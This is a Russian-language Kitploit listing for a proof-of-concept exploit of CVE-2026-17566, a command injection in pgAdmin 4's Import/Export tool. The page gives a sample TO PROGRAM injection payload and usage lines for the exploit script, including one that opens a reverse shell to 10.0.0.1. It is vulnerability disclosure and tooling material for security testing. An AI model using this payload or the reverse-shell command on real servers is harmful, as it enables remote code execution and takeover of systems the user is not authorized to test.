Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-17566 — pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC — инъекция TO PROGRAM через несоответствие экранирования обратной косой черты | Kitploit
Инструменты/GitHubGitHub/hackspeak/cve-2026-17566
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на Проникновение
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC — инъекция TO PROGRAM через несоответствие экранирования обратной косой черты

Репозиторий
111 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-17566 — PoC RCE для pgAdmin 4 Import/Export Data

PoC удалённого выполнения кода в инструменте Import/Export Data pgAdmin 4. Использует расхождение в семантике экранирования обратной косой черты между проверщиком скобок _is_query_parens_balanced() и psql, чтобы внедрить \copy ... TO PROGRAM и выполнить произвольные команды на сервере, где работает pgAdmin.

Фоновая цепочка атак: CVE-2026-17349 (утечка учётных данных Workspaces) → CVE-2026-17351 (обход режима только для чтения AI Assistant) → данная уязвимость (RCE). Для всех трёх достаточно аутентифицированного пользователя с низкими привилегиями.

Краткое описание уязвимости

Инструмент Import/Export Data вставляет пользовательский SQL в шаблон Jinja для формирования команды psql \copy (...). Самописный проверщик баланса скобок всегда считает \' экранированной кавычкой (это верно только при standard_conforming_strings=off); однако при значении PostgreSQL по умолчанию standard_conforming_strings=on , и кавычка просто закрывается.

psql воспринимает обратную косую черту как обычный символ
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

Проверщик считает, что ) всё ещё находится внутри строки → баланс скобок «пройден»; psql закрывает строку на a\', ) завершает обёртку \copy (...), и TO PROGRAM 'cmd' становится активной инструкцией, выполняемой через popen() в psql.

  • CWE: CWE-78 (внедрение OS-команд) / CWE-115 (неверная интерпретация входных данных)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), изменение области действия, низкие привилегии + без взаимодействия
  • Затронуты: pgAdmin 4 < 9.18 (начиная с появления _is_query_parens_balanced()); исправлено в коммите 1496fabe
  • Связано: CVE-2025-12762 / CVE-2025-13780 (внедрение TO PROGRAM в psql, того же семейства)
  • Обнаружил: Arpit Jain (arpitjain099)

Условия эксплуатации

  • Аутентифицированный пользователь pgAdmin с низкими привилегиями (с правом tools_import_export_data)
  • Сетевая доступность сервиса pgAdmin
  • Целевой pgAdmin 4 < 9.18 с доступным инструментом Import/Export

Использование

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ПараметрОписание
--urlБазовый URL pgAdmin
--user / --password (или PGADMIN_PASSWORD)Учётная запись с низкими привилегиями
--commandПроизвольная команда (не должна содержать одинарных кавычек)
--reverse HOST:PORTСоздать обратный bash-shell
--server-idID сервера (по умолчанию автоматически берётся первый)
--fileИмя экспортируемого файла (для построения команды \copy, по умолчанию /tmp/pgadmin_export.csv)
--no-verifyПропустить проверку TLS-сертификата

Процесс: вход в систему (автоматическая обработка CSRF/session) → перечисление серверов → POST /import_export/job/<sid> для отправки сформированного запроса is_query_export.

⚠️ Отказ от ответственности

Только для исследований безопасности, проверки уязвимостей и защитного тестирования. Данный скрипт написан на основе публичного технического анализа и не проверялся на реальной системе; поля запросов могут потребовать настройки под конкретную версию pgAdmin. Запускайте только в авторизованной тестовой среде, не используйте против несанкционированных систем.

Авторство и ссылки

  • Данный репозиторий — независимо написанный PoC (лицензия MIT), техническая основа — публичные материалы
  • Официальный Issue #10213: Ошибка семантики обратной косой черты в проверщике скобок
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Исправляющий коммит: 1496fabe
Скачать инструмент